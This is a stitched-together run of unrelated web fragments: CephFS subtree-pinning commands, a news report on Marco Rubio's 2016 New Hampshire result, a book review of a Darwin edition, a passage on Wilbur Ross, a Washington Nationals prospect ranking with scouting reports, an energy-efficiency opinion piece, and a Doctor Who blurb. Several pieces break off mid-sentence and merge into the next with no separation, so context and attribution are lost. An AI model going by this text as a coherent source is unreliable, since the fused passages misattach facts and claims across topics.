$ setfattr -n ceph.dir.pin -v 0 /mnt/cephfs/users/ $ setfattr -n ceph.dir.pin -v 1 /mnt/cephfs/users/joe/ $ ceph daemon mds.b get subtrees | jq '.[] | [.dir.path,.auth_first,.export_pin]' ["", 0, -1] ["~mds0", 0, -1] ["/tmp", 2, 2] ["/users/joe", 1, 1] ["/users", 0, 0]
The “/users” subtree sets a “default” pin for itself and its children (home directories) to rank 0. However, “/users/joe” has a pin to rank 1 which overrides the “/users” pin.
Future Direction
Early on CephFS worked to make subtree management and load balancing dynamic. This gave CephFS a distinct edge versus other file systems by allowing for scalable metadata partitioning and adaptive load balancing. However, statically dictated subtrees can still be useful for operators to establish a policy keeping a directory tree on a single MDS or splitting load across the cluster in a defined way. In the future, the CephFS team plans to improve the balancer’s behavior so that dynamic subtree partitioning is more consistent and performant, even against “perfect” static partitions with a priori known load patterns.Marco Rubio's presidential campaign in New Hampshire collapsed because voters "made a judgment he's not ready to be president of the United States," Republican strategist Steve Schmidt said Wednesday, and he believes the Florida senator's chances are slim unless he pulls off a miracle."A fifth place finish in New Hampshire means effectively he's bleeding out," Schmidt, a political analyst for MSNBC, told the network's "Morning Joe" program. "That campaign is effectively over unless he can pull off a miracle and win the Nevada caucuses. He doesn't have a path in South Carolina."Rubio entered the New Hampshire race after a third-place finish in Iowa, and then the week opened up with former Sen. Rick Santorum coming on the program and being unable to answer questions about the junior Florida senator's achievements, Schmidt said.Then, rival GOP presidential candidate Chris Christie started attacking Rubio by accusing him of being a scripted candidate who is not ready to be president, Schmidt said, and Rubio "froze in the spotlight" in Saturday night's debate."So Marco Rubio on Friday was poised not just to come in second in New Hampshire, his numbers in everybody's tracking polls were increasing at a rate that he was poised to win the New Hampshire primary, his campaign collapsed," said Schmidt.And going into South Carolina, Rubio will face challenges from Ohio Gov. John Kasich, who placed second in the New Hampshire primary, and former Florida Gov. Jeb Bush, whose "strongest state is South Carolina," said Schmidt."[Texas Sen.] Ted Cruz is the ideological conservative so that establishment lane is crowded," said Schmidt, and Rubio can no longer say he is the most effective general election candidate. Washington Post columnist Dana Milbank, in an op-ed piece on Tuesday, agreed that Rubio, in a few minutes during the Saturday night debate, "undid everything he had worked for during the past year — really, the past five years. His singularly disastrous debate performance, in which he repeated irrelevant, canned phrases, caused would-be supporters to flee for Ohio Gov. John Kasich and other more stable candidates."But with most of the focus going to front-runner Donald Trump, Milbank said, Rubio never got enough scrutiny, and when he hit the spotlight after his third-place finish in Iowa, "voters found an empty suit. Watching him campaign last week, I wrote: 'Rubio's strong Iowa finish has brought new attention — and overcapacity crowds — in New Hampshire. But the would-be supporters are greeted by a robot.'"Rubio's debate performance wasn't a surprise, though, said Milbank, pointing out that Buzzfeed's McKay Coppins wrote in a 2015 book, "The Wilderness," that Rubio has "incurable anxiousness — and an occasional propensity to panic in moments of crisis, both real and imagined."At this point in history, no one who is buying a text like this is really reviewing the content. Therefore, if you are looking to buy this text you are not really looking for whether or not the book is worth the read but whether or not it is the best edition available. That being said, this is the best possible edition of one of the most well known books in human history!
I really can't find much to complain about while reading this book. The pages are well formatted with an easy to read text style and format, the images (some of which were actually in the original editions) are useful and help to add to the experience of reading, and the italics and bolded letters at the beginning of sections make it very easy to follow the thought progression even when you are reading while tired. Despite the later updates even during the life of Darwin and the universal rejection of several of his ideas later on, this collection is very well put together and is the best source of the original works available. Any Darwinist should own and read a copy.
I uploaded some pictures of my copy, so go to the top of the page and you can view them by running your mouse over the icons of other pictures which appear under the amazon picture of the book on the left side of the screen.The investments — eventually totaling more than $600 million in Diamond S and about $240 million in Navigator — were in keeping with Mr. Ross’s strategy of scooping up shares in undervalued companies and turning them around. It is a business model that has earned Mr. Ross, a 79-year-old Ivy League-educated son of middle-class parents from New Jersey, the sobriquet of “king of bankruptcy.”
Over a lengthy investment career that included a stint running the bankruptcy advisory practice at the British banking firm Rothschild, he has breathed new life into textile, steel |
about that…”
There is a school of thought that suggests player evaluation is best approached via tabula rasa. One of my predecessors, Jason Parks, used to remark about how he loved trying to identify the best players on the backfields in Spring or instructs, with no identifying information to go on, no idea which skinny teenager got five thousand or five hundred thousand.
Meanwhile, I like to joke that I don’t really like doing much amateur coverage, because on the pro side the hard work is already done for me.
But let’s say you didn’t know anything about Lucas Giolito past the 2016 reports. A fastball that sits in the mid-nineties, a potential hammer curve, but command issues with both that allow better hitters to sit on the heater and be rewarded for it. You wouldn’t immediately be moving this prospect to the bullpen of course. The body and delivery looks like a starter, and he’s only 22 (you got that from the roster sheet in the press box). It wouldn’t be off the table though.
This is reductive, of course, and in addition requires a jaundiced eye. Context matters. Giolito has been better in the past. However, I don’t think it is a stretch to say the kid that was hitting 100 in the Area Code Games is not showing up in the majors. I guess you could even reframe the ‘big question’ as the less clickbaity “How long does prospect pedigree matter?”
It’s easier to handle a prospect who has broken out. He is showing you something new, what is now possible. Victor Robles and Juan Soto both have fallen into this category the last two summers. And I think public evaluators are more easily swayed by this kind of novelty. We live for this shit, in fact. It beats writing about Jorge Alfaro and Gary Sanchez for the umpteenth year. And yes I know, cura te ipsum.
It’s harder to deal with a prospect that is stagnating or regressing. It’s easy to default to the assumption of a y = x development path for high-end prospects even though we know that is by far the exception in player development. Giolito is a particularly confounding case because he was both better in the past, but that, even then, there were obvious developmental hurdles still to go.
If you were to imagine the road to a 25th percentile outcome for 2014 80 OFP Lucas Giolito, it wouldn’t look all that different from what actually occurred. The velocity never really popped back to where it was pre-Tommy John surgery. The fastball/curve combo which overmatched A-ball bats stagnated a bit in the upper minors. The command profile remained fringy. The change improved, but didn’t “jump.” Even the best prospects in the minors still have to get better, often a lot better. Consider Archie Bradley. It’s not a fair comp, as Bradley had injury issues and lacked Giolitio’s “first prep righty to go 1:1” pre-draft profile, but as professional prospects they got similar acclaim and similar “tippy-top-of-the-rotation” projections. This for example could have easily been written by Jason about Lucas Giolito:
“Bradley is a true frontline power arm, with size, strength, and a highly intense arsenal that already features two well above-average offerings. The delivery can lack consistency and he struggles to finish his pitches, which can leave the ball up and arm side and cause his power curve to play too high in the zone. If the command continues to refine, a number one starter is a possible outcome; a true top-of-the-rotation starter capable of a heavy innings workload and gaudy strikeout totals.”
But Archie Bradley is not Lucas Giolito’s destiny. Nor is Giolito necessarily a reliever now. Extrapolating from 2016 is just as dangerous as doing it from 2014. This has not turned into a y = b situation. This is just a snapshot in time. The picture is just a bit fuzzier now.
Lucas Giolitio is still one of the best pitching prospects in the game. That ain’t nothing. But you can’t have the same OFP forever.
Or put another way:
“Unfortunately the clock is ticking, the hours are going by. The past increases, the future recedes. Possibilities decreasing, regrets mounting.”
– Haruki Murakami, Dance, Dance, Dance
***
1. Victor Robles, CF
DOB: 5/19/1997
Height/Weight: 6’0” 185 lbs
Bats/Throws: R/R
Drafted/Acquired: Signed July 2013 by Washington out of the Dominican Republic for $225,000
Previous Ranking(s): #29 (Top 101), #3 (Org) 2016
2016 Stats:.262/.354/.387, 3 HR, 18 SB in 41 games at High-A Potomac,.305/.405/.459, 5 HR, 19 SB in 64 games at Low-A Hagerstown
The Good: There are very few five-tool, up-the-middle prospects in the minors, and even fewer of them turn into five-tool players in the majors. Robles has a shot. We may be squinting a bit to get the power to average, but we can say with more certainty the he offers three potential 70-grade tools— hit, run and arm— and has made strides with his center field defense (which projects as plus) in his first year of full-season ball. His approach is advanced for a 19-year-old, and he covers all four quadrants of the zone well. The bat speed is outstanding, and the barrel control to match is coming along. And zooming out, he’s more polished than you’d expect from the “toolsy 19-year-old center fielder in A-ball” cohort.
The Bad: Robles’ game power lags behind his other skills. It may come as he physically matures, but he may "only" creep into double-digit bombs in the majors. The hit tool is still mostly projection until we see him perform against more advanced arms. He could end up as more of a speed/glove 7-hole hitter in the majors.
The Irrelevant: We often harp on minor-league player nutrition, but Robles’ potential 2017 home, Harrisburg, PA, is home to Broad Street Market, one of the oldest continuously operating farmers' markets in the U.S.
The Role:
OFP 70 — That really good Lorenzo Cain season
Likely 60 — Those other Lorenzo Cain seasons
The Risks: The usual risks for this profile. He hasn’t hit in the upper minors yet, and he wasn’t quite as spectacular in his first taste of the Carolina League. The offensive tools are far less actualized than the defensive/athletic ones. He may take a bit of time to reach his projection, past just his Major League ETA.
Major league ETA: 2019
Ben Carsley’s Fantasy Take: Let’s face it, you either already own Robles or you missed the boat on him. Such is life with young, pre-elite fantasy prospects. It’s easy to fall in love with Robles and his projection as a future OF1. Take Starling Marte as an example of what a plus-hit tool and plus-plus speed can translate to at the MLB level; a.300-plus average, 40-plus steals and a ranking as the fifth-best fantasy OF in 2016, per ESPN’s Player Rater. That’s what we could be looking at with Robles, and while the hit tool and power have a ways to go, his floor as a speed-first OF 4/5 makes him mighty attractive. Now that he’s in High-A, lead time is becoming less of an issue, too.
2. Lucas Giolito, RHP
DOB: 07/14/1994
Height/Weight: 6’6” 255 lbs
Bats/Throws: R/R
Drafted/Acquired: Drafted 16th overall in the 2012 draft, Harvard-Westlake HS (Los Angeles, CA); signed for $2.925 million
Previous Ranking(s): #3 (Top 101), #1 (Org) 2016
2016 Stats: 6.75 ERA, 7.87 DRA, 21.1 IP, 26 H, 12 BB, 11 K at the major league level, 2.17 ERA, 2.42 DRA, 37.1 IP, 31 H, 10 BB, 40 K at Triple-A Syracuse, 3.17 ERA, 3.71 DRA, 71 IP, 67 H, 34 BB, 72 K at Double-A Harrisburg
The Good: Giolito’s curveball, on raw stuff alone, is one of the most promising pitches in prospectdom, a potential 80-grade offering. His fastball has touched triple-digits in the past and will sometimes comfortably sit in the mid-90s with tremendous downward plane. The change flashes as more than a show-me pitch. He has a good idea of what he wants to do on the mound. There’s a lot of past history and previous looks supporting the idea that he’s a potential ace.
The Bad: Oh command, where art thou? Command was never the strength of his profile, but it disappeared for him in 2016, leading to huge struggles in the majors. He couldn’t spot his fastball well, leading to both too many balls and too many hittable strikes. He could only throw the curve as a chase pitch, which meant that better hitters just laid off it. Early in the 2016 season, media reports indicated these struggles were the result of overworked mechanics, but it didn’t get a whole lot better after Giolito was reported to have gotten past that issue. Just to top it off a bit, his fastball velocity was noticeably down pretty much all season compared to earlier pro looks.
The Irrelevant: Giolito is still eligible for this list, but could lose his prospect status by the time his uncle’s reboot of Twin Peaks hits the air in the second quarter of 2017. Hopefully the central mystery of Season 3 won’t be his nephew’s missing fastball command.
The Role:
OFP 70 — Possible top-of-the-rotation starter
Likely 60 — Mid-rotation starter or closer
The Risks: The command might never come around, or it could take years and years and a bunch of teams and pitching coaches. The fastball/curve combination should give him a pretty good relief fallback, at least. As a Tommy John survivor, there’s always that little extra bit of risk, too. Also, he’s a pitcher. —Jarrett Seidler
Major league ETA: Debuted in 2016
Ben Carsley’s Fantasy Take: Giolito is still the top dynasty pitching prospect in my book. The aforementioned command issues are worrisome, but there simply isn’t another arm in the minors who comes close to matching Giolito’s upside and proximity to the Majors. He might kill your WHIP at first, and the whispers of a future move to the bullpen are scary, but there’s also a meaningful chance that he’s a true SP1 with 225-plus strikeouts. His median fantasy outcome is Chris Archer, which makes his ceiling pretty special.
3. Reynaldo Lopez, RHP
DOB: 1/4/1994
Height/Weight: 6’0” 185 lbs
Bats/Throws: R/R
Drafted/Acquired: Signed June 2012 by Washington out of the Dominican Republic for $17,000
Previous Ranking(s): #39 (Midseason Top 50), #75 (Top 101), #4 (Org) 2016
2016 Stats: 4.91 ERA, 4.58 DRA, 44 IP, 47 H, 22 BB, 42 K at the major league level, 3.27 ERA, 7.09 DRA, 33 IP, 21 H, 10 BB, 26 K at Triple-A Syracuse, 3.18 ERA, 1.50 DRA, 76.1 IP, 69 H, 25 BB, 100 K
The Good: Lopez rode a post-April hot streak in Double-A to Triple-A and eventually an August-September Major League residency. That residency included a nine-strikeout debut performance against the Dodgers and an 11-strikeout game versus the Braves. His plus arm speed generates a plus-plus fastball, an upper-70s-to-low-80s curveball that flashes plus, and feel for a potentially average cambio.
The Bad: The walk rate spiked and strike throwing consistency diminished after the promotion. The fastball tends to stay straight. The curveball, its shape and use in the zone, is quite volatile. The changeup can get hard and lose effectiveness. The pitch inefficiency and fastball reliance could limit Lopez to a relief role.
The Irrelevant: Lopez threw his fastest pitch of the year, a 99.7 mph heater, against the Mets on September 12th.
The Role:
OFP 60 — No. 3 starter
Likely 50 — Power Reliever
The Risks: If the minor league walk rates and efficiency can follow Lopez to the majors, there’s still middle of the rotation potential to be realized. The fallback of being a power reliever who can miss bats isn’t a terrible fate either. The fate of being a pitcher though, always makes things a bit more cloudy. —Adam Hayes
Major league ETA: Debuted in 2016
Ben Carsley’s Fantasy Take: Lopez may have a fairly low chance of actualizing as a no. 3 starter thanks to his size and command issues, but his strikeout potential and MLB ETA (of, you know, now) are too good for fantasy owners to pass up. Don’t pencil Lopez into your long-term rotation plans, but hope he turns into a 200-strikeout, high-WHIP no. 4 fantasy starter. A potential future at the back of a bullpen sooner rather than later gives him a lovely additional path to fantasy value, too.
4. Juan Soto, OF
DOB: 10/25/1998
Height/Weight: 6’1” 185 lbs
Bats/Throws: L/L
Drafted/Acquired: Signed in July 2015 out of the Dominican Republic for $1.5 million.
Previous Ranking(s): N/A
2016 Stats:.361/.410/.550, 5 HR, 5 SB in 45 games with the GCL Nationals..429/.500/.571, 0 HR, 0 SB in 6 games with Low-A Auburn
The Good: Cineastes often complain that the sequel is never as good as the original, but the Nats had another teenaged outfielder breakout in the GCL and the NYPL this Summer, and Juan Soto is more The Curse of the Cat People than Honey, I Blew Up The Kid. While the circumstances of his breakout are similar to Victor Robles’, they are very different prospects. Soto doesn’t have the same loud, up-the-middle tools, but he may have shown an even more advanced bat in the New-York-Penn League. There’s a potential plus-hit/plus-power combo here with a good approach for his age.
The Bad: As lovely as the finger lakes are in the Summer, Auburn is a long ways from the majors. The game power is mostly theoretical at this point and Soto is limited to right field. He should be fine there long term as an average runner with enough arm for the position, but he is going to have to hit a lot.
The Irrelevant: Speaking of Auburn, since he was only there a week, we doubt Soto had time to visit the William H. Seward Museum, where Seward negotiated the purchase of Alaska from the Russians as Secretary of State.
The Role:
OFP 60 — Your prototypical good everyday right fielder
Likely 50 — Solid, but unspectacular corner dude
The Risks: Soto just turned 18. He hasn’t played outside of short-season ball yet. It’s a corner outfield profile. There’s extreme risk here even accounting for the advanced bat.
Major league ETA: 2020
Ben Carsley’s Fantasy Take: If you’re going to gamble on players who are younger than the first Harry Potter book, they better have big-time offensive potential. Fortunately Soto does, and this type of hit-tool-first profile is one I prefer to gamble on in fantasy. He’s too far away to be a top-100 prospect yet, but now is a very good time to get in on the ground floor.
5. Erick Fedde, RHP
DOB: 2/25/1993
Height/Weight: 6’4” 180 lbs
Bats/Throws: R/R
Drafted/Acquired: Drafted 18th overall in the 2014 draft out of University of Nevada, Las Vegas (NV); signed for $2.5111 million
Previous Ranking(s): #6 (2016) Org
2016 Stats: 3.99 ERA, 4.09 DRA, 29.1 IP, 33 H, 10 BB, 28 K at Double-A Harrisburg, 2.85 ERA, 1.61 DRA, 91.2 IP, 85 H, 19 BB, 95 K at High-A Potomac
The Good: Fedde found more velocity this year as he got further away from his 2014 Tommy John surgery. He sat in the mid-90s and touched higher, and his slider flashed plus. The fastball has enough life to be a swing-and-miss offering in the majors and the slider has a good chance to get to that point as well. At it’s best it features violent late, two-plane break. Fedde also has close to an ideal starting pitcher’s build.
The Bad: However, there is enough effort in his delivery to make you wonder if he will have the stamina/command profile to be a 180-inning arm. The changeup is still a work in progress, but can show split-like action at times. The slider is inconsistent and can be more of a chase pitch. He was a little bit old for A-ball for whatever that matters (I don’t think all that much).
The Irrelevant: Fedde was also an all-state soccer player in high school, leading Las Vegas High School to a state title his junior season.
The Role:
OFP 60 — No. 3 starter
Likely 50 — No. 4 starter with late-inning relief fallback
The Risks: Fedde has cleared every marker on his TJ recovery, and with his potential plus fastball/slider combo, he should find a major-league role of some sort. However he is still a pitcher (with a Tommy John already on his C.V.)
Major league ETA: Early 2018
Ben Carsley’s Fantasy Take: Fedde has flown under the radar a bit for a first-rounder, but he’s emerged as a solid, if unspectacular, dynasty pitching prospect. The lack of front-of-the-rotation stuff means he’ll get lumped in with a bunch of other mid-rotation starters in the mid-minors, but that might sell short his upside as a no. 5/6 fantasy SP in the Jerad Eickhoff mold. That might not get your heart racing, but you’ve started a lot worse. It’s a bit early in the process for me to tell exactly, but Fedde should be a back-of-the-top-100 prospect.
6. Carter Kieboom, SS
DOB: 09/03/1997
Height/Weight: 6'2” 190 lbs
Bats/Throws: R/R
Drafted/Acquired: Drafted 28th overall in the 2016 draft, Walton HS (GA), signed for $2 million.
Previous Ranking(s): N/A
2016 Stats:.244/.323/.452, 4 HR, 1 SB in 36 games with the GCL Nationals
The Good: While not quite on the level of Moniak or Rutherford, Kieboom featured one of the best hit tools in the 2016 prep class. Despite a very open stance, long stride, and slight hitch, he always seems to find the ball with the barrel. He has a lean, athletic frame that could add pop as he adds strength in his twenties. His arm will play at either spot on the left-side of the diamond.
The Bad: Kieboom played shortstop in complex ball, but most think his ultimate defensive home is at third base once he fills out. It takes a bit of projection to see him wringing the expected corner infield-power profile out of his swing at present, so he may end up a bit of a tweener or utility type unless he really hits or adds average game power as he ages.
The Irrelevant: Confidential to @70mphfastball: Kieboom’s pro future was always going to be at the plate, but he was also a switch-pitcher in high school.
The Role:
OFP 55 – Solid everyday third baseman
Likely 45 – Second-division starter or good fifth infielder
The Risks: High, but about what you’d expect for the profile. A future corner role will put pressure on the power to come, and the developmental time here is significant.
Major league ETA: 2020
Ben Carsley’s Fantasy Take: Kieboom isn’t one of the premier dynasty prospects from the last draft class, but his bat is decent enough that you might consider him if your league rosters 200-plus prospects. Don’t bank on using him at shortstop, but Kieboom has the potential to serve as a low-end starting third basemen or a passable CI who’ll do more for your average than he will your power stats, assuming that he’s actually a baseball player and not, as his name suggests, an adult movie star.
7. Dane Dunning, RHP
DOB: 12/20/1994
Height/Weight: 6’4” 200 lbs
Bats/Throws: R/R
Drafted/Acquired: Drafted 29th overall in the 2016 draft, University of Florida (FL), signed for $2 million
Previous Ranking(s): N/A
2016 Stats: 2.14 ERA, 2.93 DRA, 33.2 IP, 26 H, 7 BB, 29 K at Low-A Auburn
The Good: Shows strikeout potential, reliable command of his low to mid-90s fastball with late life. Clean mechanics paired with a deceptive delivery created by a late break in his hands pair well with his effective changeup.
The Bad: Having pitched out of the bullpen due the Gators’ overstocked pool of arms, there are legitimate questions as to how Dunning will hold up as a starter. His 11-5 curveball hasn’t shown the promise of his other pitches, and failing to get a handle on it could force a permanent relocation to the pen.
The Irrelevant: Dunning will often pitch wearing those strange hybrid glasses/goggles. Word is still out on his bespectacled splits.
The Role:
OFP 50 — Fourth Starter or set-up man
Likely 45 — Fifth Starter or reliable middle reliever
The Risks: Without much starting experience, Dunning may have trouble pitching deep into games. Failing to command his curveball would limit him to a fastball/change repertoire that would function fine out of the bullpen but likely prevent him from starting. Also, he’s a pitcher. —Will Haines
Major league ETA: 2018
Ben Carsley’s Fantasy Take: Think of all the other things you could do with a roster spot instead of wasting it on a potential back-end starter who’s several years away. You could hold on to a sleeper closer candidate. Maybe stash a speedster who can pad your SB totals when your starters are sitting. Heck, you could get really crazy and even use it to stream a back-end starter who could help you right now, rather than one who might help you years down the line. You can pass on Dunning.
8. Anderson Franco, 3B
DOB: 8/15/1997
Height/Weight: 6’3” 190 lbs
Bats/Throws: R/R
Drafted/Acquired: Signed August 2013 by Washington out of the Dominican Republic for $900,000
Previous Ranking(s): #7 (2016) Org
2016 Stats:.277/.307/.349, 1 HR, 1 SB in 24 games with the GCL Nationals
The Good: Franco is a strong kid with plus raw power he derives from length and strength. He has the arm and hands to stick at the hot corner.
The Bad: Franco lost significant developmental time this year and was limited to just 24 games in the complex due to a back injury. There are questions about how his approach will fare against higher level arms and in games he can have more of a one gear swing.
The Irrelevant: If Franco does stick at third base, he will only have to beat out Scott Brosius as best third baseman born on August 15th.
The Role:
OFP 50 — Bat-first regular at third base
Likely 40 — Corner bench bat with some pop
The Risks: Extreme. Franco has yet to play in full-season ball and there are already questions about his hit tool. He may end up at first base long term, putting a lot of pressure on the offensive profile. Back injuries are less than ideal and can linger.
Major league ETA: 2021
Ben Carsley’s Fantasy Take: You can bury Franco deep on your sleeper list somewhere. Check in on him periodically to see if his offensive tools are starting to translate at higher levels, but there is such a thing as being too early, and you will be if you pick Franco up right now.
9. Andrew Stevenson, OF
DOB: 06/01/1994
Height/Weight: 6’0” 185 lbs
Bats/Throws: L/L
Drafted/Acquired: Drafted in the second round (58th overall) in the 2015 MLB draft, Louisiana State University (LA), signed for $750,000.
Previous Ranking(s): N/A
2016 Stats:.246/.302/.328, 2 HR, 12 SB in 65 games for Double-A Harrisburg,.304/.359/.418, 1 HR, 27 SB in 68 games for High-A Potomac
The Good: Stevenson is a gazelle in the outfield. He boasts plus-plus run times and flashes enough leather to entice Chris Berman. His speed and glove will carry the profile, though he shows the potential for a solid-average hit tool thanks to good hands and an ability to control the barrel. Pair that with a steady approach and the ability to recognize spin, and you have the makings of a high-floor player.
The Bad: High-floor players can often translate to “probably fourth outfielder” and that’s what Stevenson is. Despite the impact tools above, his game is limited by well below-average raw power that plays down in-game because he doesn’t incorporate his lower half into his swing. His value in the field is mitigated by a poor throwing arm and at-times overly aggressive routes.
The Irrelevant: Prior to his participation in the California/Carolina League All-Star Game (held on the west coast this year), Stevenson had never traveled to California.
The Role:
OFP 50 — Average outfielder
Likely 40 — Well, uh, “Probably fourth outfielder”
The Risks: While his glove and legs will carry the profile, the risk in Stevenson is that there’s not going to be anything to carry in the upper levels. Upper minors pitchers will attempt to exploit him on the inner half where he has little chance of doing any damage due to his minimal power output. If he becomes an automatic out, he won’t see the field, thus losing any chance to accrue value. —Craig Goldstein
Major league ETA: Late 2018
Ben Carsley’s Fantasy Take: Stevenson’s speed might make him somewhat interesting once he’s closer to the Majors, but his lack of other tools and distance from the show conspire to make him a fantasy non-factor for the time being.
10. Sheldon Neuse, IF
DOB: 12/10/1994
Height/Weight: 6’0” 195 lbs
Bats/Throws: R/R
Drafted/Acquired: Drafted in the second round (58th overall) in the 2016 MLB draft, University of Oklahoma (OK), signed for $900,000
Previous Ranking(s): N/A
2016 Stats:.230/.305/.341, 1 HR, 2 SB in 36 games with Low-A Auburn
The Good: Neuse was one of the better two-way college players in this year’s class, serving both as Oklahoma’s starting shortstop and closer. Arm strength is indeed his best asset, playing plus from the left side after delivering fastballs in the 93-95 range off the bump. His smooth right-handed swing is balanced and direct when he’s right, with an all-fields approach underlining an ability to turn and lift balls with average power potential. He exhibits an advanced command of the strike zone that bodes well for his on-base skills, and shows no glaring weakness in his game.
The Bad: The approach got too conservative in his pro debut, with a vast majority of his contact heading softly to the opposite field. He can be prone to over-swinging, particularly early in counts, and both the hit and playable power tools may never develop into outright assets. That may be problematic, as his mature body lacks for quickness or a ton of athleticism, and the physicality has already pushed him over to the hot corner. There are big-league tools here, just not much outside of the arm that really stands out, and it’s more of a second-division profile.
The Irrelevant: At least some of his signing bonus appears to have been invested immediately and directly in the procurement of a very large truck.
The Role:
OFP 50 – Regular third baseman
Likely 40 – Quality utility option
The Risks: Relatively low on account of collegiate polish and breadth of skillset. He didn’t exactly hit the ground like Usain Bolt at a level where he may have been expected to excel after signing, but his solid-if-unspectacular projection remains wholly intact. —Wilson Karaman
Major league ETA: Late 2018/Early 2019
Ben Carsley’s Fantasy Take: If we ever get a Bat Signal about this guy the sender should immediately have their BP subscription revoked and should in its place receive a one-way ticket directly to the sun.
***
Others of note:
The Riser
Kelvin Gutierrez, 3B
Already 22, Gutierrez could be the next in a line of Nationals prospects who took a while to see their skills coalesce before taking off through the system. He opened eyes in 2016 while hitting.300 in Low-A Hagerstown, and his leveraged swing and ability to control the barrel pair with a still-developing body to portend future power growth. He’s got plus raw power at present, and while it doesn’t show up in-game consistently, it could once he fills out. He’s not a wizard at the hot corner but he shows the footwork to stick there, and his arm is an easy plus. Gutierrez might not boast the flashiest tools around but the entire package could be an average major-league third baseman if everything clicks. There are worse $900,000 investments to be made. —Craig Goldstein
The Factor on the Farm
Austin Voth, RHP
Voth continued to tick all the boxes on a fifth starter resume. He has sacrificed some velocity for command since college, but the trade off has worked as he has kept upper minors hitters off the fat part of the bat with his upper 80s fastball. The curve will get him enough strikeouts to keep him out of too much trouble, and his change-up is solid enough. He’s not the kind of arm you necessarily want to pencil in for 32 starts on April 1st, especially if you are the 2017 Nationals and have designs on winning the East again. But the 2017 Nats rotation has it’s fair share of injury and performance concerns heading into next season, and while he may be far from the most exciting pitching prospect in the system, Voth is a fine Plan B.
The still a bit uninspiring
Drew Ward, 3B
After battling perception in the past as an all-bat, light-glove cornerman with little chance to stick on the left side, Ward did little to change the game in a season split between the Carolina and Eastern leagues. He’s a max-effort guy on the dirt, but rigid physicality and suspect range continue to jeopardize his hot corner credentials. Scouts have long waited to see him translate his above-average raw power into games, and after showing glimpses of progress at High-A he reverted to a more linear stroke that produced far less thump after a mid-season bump to Harrisburg. His struggles against left-handed pitching have continued unabated, with vulnerability to same-handed spin an especially deadly vice. A future as a second-division platoon bat with thump off the bench looks increasingly like the best-case outcome, though with a reasonably advanced approach and time still on his side, there’s still ostensibly a chance for more. —Wilson Karaman
The Not-The-Early-90s-Noise-Rock-Band
Jesus Luzardo, LHP
The Nats have become a landing spot for amateur arms in need of Tommy John surgery, and Luzardo is the latest in a line that includes two of the top five prospects up above. He was a potential top 50 pick before the elbow woes, due to his advanced repertoire for a teenager. Luzardo showed a low 90s fastball, a potentially above-average curve, and some feel for the change before his surgery this Spring. There isn’t a ton of projection left here, as he’s physically mature and just six-foot-one, but getting an advanced arm like this in the third round is a nice coup. Luzardo could see some time on the mound towards the end of the 2017 season, but he may not, and that’s okay too. We have to assume the Nats have a pretty good idea what they are doing with these guys at this point. Once he is back on the mound, Luzardo has mid-rotation or late-inning-relief potential.
Name of Note
Mariano Rivera, Jr, RHP
The trot from the bullpen is familiar. He cuts a familiar skinny silhouette on the mound. You’ve seen the motion a million times before. He even looks similar in the face. Except you’re in an A-ball park somewhere on the east coast, and this is Mariano Rivera III, not his more famous future Hall of Fame father.
As a prospect, Mariano III is…well, not Sandman Mariano, at least not yet. He’ll sit 92-93, topping out at 95. There’s some natural cut to his four-seamer, but nothing like his pops had, and the command isn’t totally there yet. He’ll also feature a hard slider with some bite, and one could wishcast given the bloodlines those two pitches merging into a death-to-hitters cutter eventually. Yet, on a more basic level, this is basically the same “95 and a slider” future middle/setup relief profile one sees dotting all levels of the minors. Mariano III is fairly new to pitching, having come to it late in his college career, and it’s hard to forget who is father was, so maybe there’s a little more projection left than the normal fourth-round pick college reliever. —Jarrett Seidler
Top 10 Talents 25 And Under (born 4/1/91 or later)
The Nationals farm system has graduated much of its best talent lately, and the most promising pieces left are still very young. The 25-and-under list is a weird mish-mash of people who have already won MVP awards at the major-league level and kids who haven’t seen tough competition yet. It’s a reminder that the organization was supremely lucky to have a consensus no. 1 overall pick at its disposal in 2010, as many of the draft hauls since then have been more challenging. The team did not have first round picks in 2013 or 2015 because of free agent signings. Give credit to the front office for rounding out these slightly leaner years with some excellent trades and international FA signings.
To start things off, have you heard of this guy before? For the sixth year in a row, Bryce Harper makes this list for the Nats. Also, did you hear his 2016 season was a disappointment? Guess that totally-untrue-but-possibly-true rumor of a nagging neck/shoulder injury was maybe/probably true. He’ll be just fine. Only a career-ender would jeopardize his spot on the top of this list. By the time he signs with the Yankees for infinite dollars in the 2019 offseason, at least one of the outfielders below will probably be in position to help.
Contrasting Harper’s disappointment was the arrival of Trea Turner, whose outstanding overall play came in spite of him playing an unfamiliar position in center field. He’s still a shortstop at heart, and GM Mike Rizzo may choose to buy an outfielder to enable the move back. The other big question for next year: will pitchers adjust and exploit the weaker swings on breaking balls?
Actually, you know what would enable Turner to move back to short? The 2019 version of Victor Robles starting in center. Robles has a first-division future with his combination of defensive skills and offensive upside. He doesn’t need much power to carry him to higher levels, but as his body matures we’ll see for sure if he hits more home runs than triples each year.
Meanwhile, the combination of Joe Ross, Lucas Giolito, Reynaldo Lopez, and Erick Fedde is going to win plenty of games for the franchise—although a lot of development is left for the last three in that list. Giolito, in particular, could use a rebound after looking uncomfortable in his first major league outings. The fastball sat 93-94 all year—instead of the 95-96 that he flashed in the low minors and helped him offset command woes. Lopez looks very tempting in relief, and Fedde likely will get a shot to start down the line.
Difo is tough to figure. He raced through the minors in 2015 before falling flat in a brief stint in the majors. He flashes major-league tools, including the ability to stay up the middle, and was even included on the Nationals post-season roster, memorably recording |
efficiency, and its residents have saved more than $75 billion since the first efficiency initiatives were launched four decades ago).
On average, residents of the five least-efficient states have seen electric bills increase twice as much as those in the five states that have most aggressively pursued smarter energy use.
The report’s findings jibe with the U.S. Department of Energy’s conclusion that efficiency is “one of the easiest and most cost effective ways to combat climate change, clean the air we breathe, improve the competitiveness of our businesses and reduce energy costs for consumers.”
Federal efficiency standards for more than 60 appliance and equipment product classes saved consumers $63 billion on their utility bills in 2015 alone. The DOE projects that these standards could pave the way to cumulative utility bill savings of nearly $2 trillion through 2030. These energy savings, along with those from building energy codes, have also cut the costs of constructing and running the electric grid.
Clean energy will help us avoid the devastating effects of climate change and clean the air of other harmful pollutants.
And contrary to what the naysayers say, it helps, not harms, our pocketbooks.What Do You Think of the New Doctor Who Companion?
Choosing a new Doctor Who companion has always been an interesting and very anticipated event, especially when a companion people have come to love (which, really, is almost all of them.) When Rose left, everybody though no one could replace her, but then Donna came along. The two of them (along with Amy and Clara, and, well, see what I mean?) make the fan-favorite companions, and it always seems like they will never be able to be replaced. And a couple of months ago, when it was announced that Clara would be leaving the show, the fans were left wondering – who is going to be the next Doctor Who companion, and is she going to be able to match the previous companions?
